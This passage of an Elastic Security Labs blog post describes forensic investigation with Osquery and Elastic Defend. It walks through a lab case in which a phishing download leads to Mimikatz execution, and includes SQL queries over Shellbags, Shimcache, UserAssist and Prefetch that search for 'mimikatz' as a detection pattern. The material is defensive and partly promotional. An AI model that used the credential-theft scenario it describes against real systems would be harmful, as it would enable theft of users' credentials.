<p>Rather than centralizing evidence and analyzing it in isolation, investigators now distribute their questions across the environment. Each endpoint becomes a source of truth that can be queried in real time. Instead of waiting hours for data collection, analysts can validate hypotheses in seconds, pivot quickly, and refine their investigation as new evidence emerges.</p>
<p>This model enables a far more responsive workflow. Questions lead to queries, queries lead to insights, and insights drive the next steps of the investigation.</p>
<h2>Osquery as a forensic interface</h2>
<p>At the center of this model is Osquery, which exposes operating system (OS) artifacts as structured tables that can be queried using SQL. Processes, network connections, file activity, registry entries, and execution artifacts become immediately accessible without the need for heavyweight collection.</p>
<p>This abstraction transforms the OS into a queryable forensic dataset. Instead of navigating multiple tools or collecting large volumes of raw data, investigators can focus on answering specific questions with precision.</p>
<p>To support this, Elastic doesn't just integrate <a href="https://www.elastic.co/fr/docs/reference/integrations/osquery_manager">Osquery Manager</a>, but we also build our own Osquery <a href="https://github.com/elastic/beats/blob/main/x-pack/osquerybeat/ext/osquery-extension/README.md">extensions</a> to cover critical forensic artifacts that aren’t natively available. We make these extensions available within Elastic Security and contribute them back to the community. This includes visibility into areas such as <a href="https://github.com/elastic/beats/blob/main/x-pack/osquerybeat/ext/osquery-extension/docs/tables/elastic_browser_history.md">browser history</a>, <a href="https://github.com/elastic/beats/blob/main/x-pack/osquerybeat/ext/osquery-extension/docs/tables/elastic_amcache_application_file.md">AmCache</a>, and <a href="https://github.com/elastic/beats/blob/main/x-pack/osquerybeat/ext/osquery-extension/docs/tables/elastic_jumplists.md">jumplists</a>, enabling deeper insight into user activity and execution patterns directly from the endpoint. We have contributed to Osquery with YARA memory scanning and OpenHandles too.The <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/examine-osquery-results">Osquery results</a> are automatically stored in an Elasticsearch index and can easily be <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/osquery#osquery-map-fields">mapped to the Elastic Common Schema</a> (ECS).</p>
<p>Beyond individual <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/osquery#osquery-run-query">live queries</a>, Elastic also provides <a href="https://github.com/elastic/integrations/blob/main/packages/osquery_manager/artifacts_matrix.md#core-forensic-artifacts-coverage">out-of-the-box Osquery curated queries</a> designed for forensic investigations, also mapped to ECS. These queries target the forensic artifacts that matter most during an investigation, such as Prefetch files that prove execution, Shimcache entries that confirm a binary existed on disk, registry keys that expose persistence mechanisms, and scheduled tasks that reveal attacker footholds.</p>
<h2>From alert triaging to forensic reconstruction</h2>
<p>Alerts are often the entry point into an investigation, but in a modern security operations center (SOC), they signify active defense. <a href="https://www.elastic.co/fr/docs/reference/integrations/endpoint">Elastic Defend</a> provides this first line of active protection. This native Elastic Endpoint Security integration operates at the kernel level for deep visibility and enforcement, consistently earning top AV-Comparatives scores. Beyond alerts, Elastic Defend provides continuous enforcement, stopping threats like ransomware, malware, and in-memory exploits, using advanced behavioral preventions. While investigations begin with a signal, damage is already mitigated.</p>
<p>However, once a threat is neutralized, the key critical question remains: What actually happened?</p>
<p>This is where <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/osquery">investigating with Osquery</a> becomes essential. While Elastic Defend neutralizes the threat and captures the real-time telemetry, Osquery acts as your deep-dive forensic interface. It allows you to interrogate the endpoint for specific, high-fidelity artifacts, such as execution history in the Shimcache or manual navigation in Shellbags, to reconstruct a definitive timeline with evidence that goes beyond telemetry.</p>
<p>Together, Elastic Defend and Osquery form a complementary system that spans the full detection and response lifecycle. One provides continuous visibility and alerting; the other delivers the forensic depth required to investigate and validate those alerts. This combination allows analysts to move easily from detection to investigation, bridging the gap between signal and understanding.</p>
<h2>Hunts: Operationalizing forensic and threat hunting investigations</h2>
<p>As investigations progress, many of the same questions are repeatedly asked across different incidents. Rather than rebuilding queries each time, these can be standardized into reusable <em>hunts</em>.</p>
<p>Apart from curated queries, Elastic also provides <a href="https://github.com/elastic/integrations/blob/main/packages/osquery_manager/artifacts_matrix.md#artifacts-by-investigative-goal">curated Osquery packs</a> aligned with common attacker tactics and techniques. These <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/osquery#osquery-schedule-query">packs can be scheduled</a> and allow analysts to quickly validate suspicious process execution, identify potential defense evasion behavior, and detect signs of lateral movement without writing queries from scratch.</p>
<p>In this scenario, hunts enable the investigation to expand beyond a single host. Analysts can rapidly determine whether similar execution patterns or indicators exist elsewhere in the environment, significantly accelerating the investigation process.</p>
<h2>Scaling the investigation</h2>
<p>Once key indicators such as domains or file hashes are identified, the investigation can be extended across the entire environment. Queries used for validation can be reused to identify similar activity on other endpoints.</p>
<p>This approach allows analysts to determine the scope of the incident, identify additional affected systems, and prioritize response efforts based on impact. Osquery, combined with Elastic across the environment, enables centralized query execution and fleet-wide forensics investigations.</p>
<h2>From investigation to response</h2>
<p>Up to this point, the focus has been on understanding what happened. Modern DFIR, however, requires the ability to act on those findings immediately.</p>
<p>By combining Osquery with Elastic Defend, investigators can move directly from analysis to <a href="https://www.elastic.co/fr/docs/solutions/security/endpoint-response-actions">response</a> within the same workflow.</p>
<p>Once malicious execution is confirmed, the affected host can be <a href="https://www.elastic.co/fr/docs/solutions/security/endpoint-response-actions#_isolate">isolated</a> to prevent further communication and reduce the risk of lateral movement. In situations requiring deeper analysis, investigators can also collect a <a href="https://www.elastic.co/fr/docs/solutions/security/endpoint-response-actions#memory-dump">memory dump</a> from the endpoint.</p>
<p>This memory dump can be downloaded and analyzed using external tools, such as Volatility, enabling further investigation of in-memory activity that may not be visible through traditional artifacts.</p>
<p>The Osquery and Elastic Defend combination allows analysts to move easily from detection to investigation to response, reducing friction and accelerating the overall DFIR process.</p>
<h2>Detection with Osquery: From telemetry to signal</h2>
<p>While Osquery is often used for live investigations, it also plays an important role in detection. When executed through scheduled packs, Osquery continuously collects endpoint data that can be used within Elastic Security to <a href="https://www.elastic.co/fr/docs/solutions/security/detect-and-alert/using-the-rule-ui">create SIEM detection rules</a>. The results of these queries are indexed in <code>logs-Osquery_manager.result*</code>, making them searchable and usable as a detection data source.</p>
<p>Each query execution is identified by the <code>action.id</code> field. For scheduled packs, this follows a consistent naming convention: <code>pack_{pack_name}_{query_name}</code>. This allows analysts to reference specific queries when building detection logic, effectively turning Osquery packs into reusable detection building blocks.</p>
<p>This creates a natural feedback loop between investigation and detection. Queries initially used during forensic analysis can be operationalized into scheduled packs, continuously running across the environment and surfacing suspicious behavior automatically, bridging the gap between reactive investigation and proactive detection. Moreover, Osquery <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/run-osquery-from-alerts">can be run directly from alerts</a>, as part of <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/run-osquery-from-investigation-guides">investigation guides</a> and as a <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/add-osquery-response-actions">response action in a detection rule</a>.</p>
<h2>Investigation scenario: From malicious alert to root cause</h2>
<p>Consider a scenario where a user receives a phishing email offering a “100% discount” through a shared download link. The message appears convincing enough to prompt interaction, leading the user to download a file from the provided link.</p>
<p>Shortly after, Elastic Defend triggers an alert indicating that malware execution was detected and terminated. The payload is identified as <a href="https://en.wikipedia.org/wiki/Mimikatz">Mimikatz</a>, a well-known tool used for credential access.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/image7.png" alt="Process alert" title="Alert details and analyzer view showing a critical malware detection alert. The left panel displays an analyzer graph of related processes, including explorer.exe, cmd.exe, powershell.exe, conhost.exe, and mimikatz.exe. The right panel lists alert information such as status, risk score, host name, rule name, file path, file hash, and process details." /></p>
<p>At this stage, the immediate threat has been blocked, but key questions remain unanswered. How did the file reach the endpoint? Was it executed by the user? Was this an isolated event or part of a broader attack?</p>
<p>Detection provides the signal but not the full story.</p>
<p>To understand the root cause, the investigation shifts to Osquery.</p>
<p>The first step is to identify how the file was introduced onto the system. Since the initial vector is a phishing link, browser artifacts provide a natural starting point. We’ll use the suspicious <a href="https://github.com/elastic/integrations/blob/main/packages/osquery_manager/kibana/osquery_saved_query/osquery_manager-b352f3c9-c630-47ec-83bb-5887fe0bb874.json">browser history query</a> that removes all possible false positives from the <a href="https://github.com/elastic/beats/blob/main/x-pack/osquerybeat/ext/osquery-extension/docs/tables/elastic_browser_history.md">Elastic <code>browser history</code> table</a>.</p>
<p>This query helps identify whether the user accessed a suspicious link consistent with the phishing lure.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/image8.png" alt="History results" title="Browser history query results showing a table of osquery events from win11‑lab1, including event action, category, type, tags, URL domain and full URL, user name, and user agent name. The query description reads “Browser history from Elastic osquery extension,” and the entries display limewire‑related domains accessed by user lab1." /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/image1.png" alt="History details" title="Browser history query result details showing a table of fields and values, including event category, event time, browser, domain, URL, title, username, tags, and user agent name. The entry reflects activity associated with limewire.com accessed by user lab1." /></p>
<p>We see that the user <strong>lab1</strong> accessed through Edge browser a link that, in theory, contains a <strong>discount</strong> zip file to be downloaded, and we can consider these findings as new <a href="https://www.microsoft.com/en-us/security/business/security-101/what-are-indicators-of-compromise-ioc">indicators of compromise</a> (IoCs).</p>
<p>In order to confirm whether the file was actually downloaded and therefore, the user clicked on the previous link, we can use the <a href="https://osquery.io/schema/5.22.1/#file"><code>file</code> table</a>, checking for the presence of this zip file on disk, meaning the user clicked on that previous link. We’ll use the <a href="https://github.com/elastic/integrations/blob/main/packages/osquery_manager/kibana/osquery_saved_query/osquery_manager-f8e71a30-b621-11ef-9c4a-8b2c7c5a1d3e.json">Elastic file query</a> that also checks the file hash of that file on VirusTotal. We can see that this <strong>discount.zip</strong> file has a <a href="https://www.virustotal.com/gui/file/d86e5d2701b548dfbe0419bcffb2ae82c6ccdeb6dc9612050273c543a6f5215a">malicious reputation</a>, being in reality Mimikatz.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/image2.png" alt="File lookup" title="File query results with VirusTotal link showing a search for “discount.zip” and a results table listing one matching entry from win11‑lab1. A side panel displays the field “osquery_vt_link” with a VirusTotal URL for the file." /></p>
<p>Next, we validate whether a file was downloaded and executed as a result of that interaction. To determine whether the file was executed, we pivot into execution artifacts, such as <a href="https://forensafe.com/blogs/shimcache.html"><strong>Shimcache</strong></a> <strong><a href="https://forensafe.com/blogs/UserAssist.html">UserAssist</a>,  <a href="https://www.forensafe.com/blogs/shellbags.html">Shellbags</a>,</strong> and <strong><a href="https://www.forensafe.com/blogs/prefetch.html">Prefetch</a></strong>.</p>
<p><a href="https://osquery.io/schema/5.22.1/#shellbags"><code>Shellbags</code></a> clearly shows the drill-down behavior: The user didn't just open the folder; they navigated three levels deep into the x64 directory where the Mimikatz binary usually lives.</p>
<pre><code class="language-sql">SELECT
  path,
  datetime(accessed_time, 'unixepoch') AS access_time
FROM shellbags
WHERE path LIKE '%discount%';
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/image5.png" alt="Shellbags view" title="Shellbags query results showing a table with agent name, access time, and path fields. The entries list win11‑lab1 with access times from April 10, 2026, and paths referencing discount and mimikatz‑master directories." /></p>
<p>The <a href="https://osquery.io/schema/5.22.1/#shimcache"><code>shimcache</code></a> tracks every executable that has been &quot;seen&quot; by the OS for compatibility purposes. Even if the file was never actually run, its presence here proves it existed in that path.</p>
<pre><code class="language-sql">SELECT
  path,
  datetime(modified_time, 'unixepoch') AS last_run_human_readable,
  modified_time AS raw_timestamp
FROM shimcache
WHERE path LIKE '%discount%'
  OR path LIKE '%mimikatz%';
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/image3.png" alt="Shimcache view" title="Shimcache query results showing a table with agent name, last run time, file path, and raw timestamp. The entry lists win11‑lab1 with a last run time from April 10, 2026, and a path pointing to mimikatz.exe in the discount and mimikatz‑master directories." /></p>
<p>NOTE: The &quot;1970&quot; date in the <code>raw_timestamp</code> column is a known forensics community issue. It results from a unit mismatch: Osquery stores timestamps in Unix epoch seconds, but the UI interprets this value as milliseconds. This calculation error compresses 56 years into roughly 20 days, causing the date to display as late January 1970 instead of April 2026. For forensic accuracy, the <code>last_run_human_readable</code> column remains the authoritative record, as it was correctly converted using second-based logic in the SQL query to reflect the true execution timeline.</p>
<p>To verify whether the user manually executed it, the <a href="https://osquery.io/schema/5.22.1/#userassist"><code>userassist</code></a> table is perfect. It tracks GUI-based execution (files launched via Windows Explorer).</p>
<pre><code class="language-sql">SELECT
  path,
  count,
  datetime(last_execution_time, 'unixepoch') AS last_run_human_readable
FROM userassist
WHERE path LIKE '%discount%'
  OR path LIKE '%mimikatz%';
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/image6.png" alt="Userassist view" title="Userassist query results showing a table with agent name, execution count, last run time, and file path. The entry lists win11‑lab1 with two executions and a path pointing to mimikatz.exe in the discount and mimikatz‑master directories" /></p>
<p><a href="https://osquery.io/schema/5.22.1/#prefetch"><code>Prefetch</code></a> is the black box that proves an application was actually launched. Analyzing the prefetch, we can get a timeline of the events, identifying that the root cause was a malicious phishing email.</p>
<pre><code class="language-sql">SELECT
  filename,
  run_count,
  datetime(last_run_time, 'unixepoch') AS last_run_utc,
  last_run_time AS raw_timestamp
FROM prefetch
WHERE (
  filename LIKE 'OLK.EXE%' OR
  filename LIKE 'MSEDGE%' OR
  filename LIKE 'MIMIKATZ%'
)
AND last_run_time BETWEEN 1775815200 AND 1775822400
ORDER BY last_run_time ASC;
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/image4.png" alt="Prefetch view" title="Prefetch query results showing a table with agent name, filename, last run time, raw timestamp, and run count. Entries for win11‑lab1 list OLK.EXE, MSEDGEWEBVIEW2.EXE, MSEDGE.EXE, and MIMIKATZ.EXE with their associated run counts and timestamps." /></p>
<p>The forensic evidence confirms a linear attack path when the user <strong>lab1</strong> initiated the new Outlook client, evidenced by the simultaneous execution of OLK.EXE and its integrated web engine, MSEDGEWEBVIEW2.EXE. This was immediately followed by MSEDGE.EXE, indicating the browser was summoned to handle the phishing redirect and download. The trail turns from automated activity to manual intent where Shellbags recorded the user deliberately navigating the extracted discount folder in their Downloads directory. This window of manual interaction eventually culminated in the final execution of MIMIKATZ.EXE. The 26-minute gap between the Shellbag entry (manual folder access) and the Prefetch entry (Mimikatz execution) is forensically consistent with a human-in-the-loop (HITL) attack scenario, where the user reads the email, clicks the link, waits for the download, extracts the zip, looks around the folder (Shellbags at 11:09), and finally works up the courage (or curiosity) to double-click the <code>.exe</code>.</p>
<h2>Transform forensics to investigate and respond at scale</h2>
<p>Twenty-six minutes. That's how long it took a user to go from opening a phishing email to executing Mimikatz. And it took us less time than that to reconstruct the entire attack chain, without a disk image, without a dedicated forensic workstation, and without leaving Elastic.</p>
<p>That's what scalable DFIR looks like in practice: not a process change, not a platform migration, but the ability to ask the right question of the right endpoint at the right moment and to get an answer before the attacker takes their next step.</p>
<p>The investigation never stops. Neither should your forensics.</p>
<p>Forensics is now essential for large-scale investigation and response, moving beyond being a mere post-incident activity. The evolution of forensics at Elastic continues, with our next phase focusing on incorporating automation and AI. Get ready to unlock the full power of forensics by combining it with workflows and agentic AI, we'll be diving into this topic in an upcoming blog post. Stay tuned!</p>
<h2>Get started with Elastic Security</h2>
<p>Start your <a href="https://cloud.elastic.co/registration">free trial</a> of Elastic Security today and experience the benefits of Elastic Defend and Osquery. Improve your forensics skills by enhancing your threat detection capabilities and gaining deeper visibility into potential threats before they escalate.</p>
<h2>Frequently Asked Questions</h2>
<p><strong>Q: How do I perform forensic investigations at scale without disk imaging?</strong> A: Elastic Security combines Osquery and Elastic Defend to enable distributed, query-driven forensics across your entire fleet. Osquery exposes OS artifacts as SQL-queryable tables, so investigators can retrieve execution history, file activity, and registry entries from thousands of endpoints in real time without collecting full disk images.</p>
<p><strong>Q: How do I reconstruct an attack timeline using Osquery?</strong> A: Elastic Security's Osquery integration gives you access to execution artifacts like Prefetch, Shimcache, UserAssist, and Shellbags as queryable tables. By chaining queries across these sources you can reconstruct the full sequence of user and attacker actions, including file downloads, folder navigation, and binary execution, without a forensic workstation.</p>
<p><strong>Q: How does Osquery integrate with Elastic Security for incident response?</strong> A: Elastic Security includes Osquery Manager natively, with curated forensic queries and packs mapped to ECS. Results are indexed automatically, making them searchable alongside alert data and usable as detection rule inputs. Osquery can also be run directly from alerts, investigation guides, and detection rule response actions.</p>
<p><strong>Q: Can I detect threats with Osquery in addition to investigating them?</strong> A: Yes. Scheduled Osquery packs continuously collect endpoint data that Elastic Security indexes under <code>logs-osquery_manager.result*</code>, which can be used as a detection data source for SIEM rules. Queries developed during forensic investigations can be operationalized into scheduled packs, creating a feedback loop between reactive investigation and proactive detection.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/dfir-osquery-elastic-security.webp" length="0" type="image/webp"/>
        </item>
    </channel>
</rss>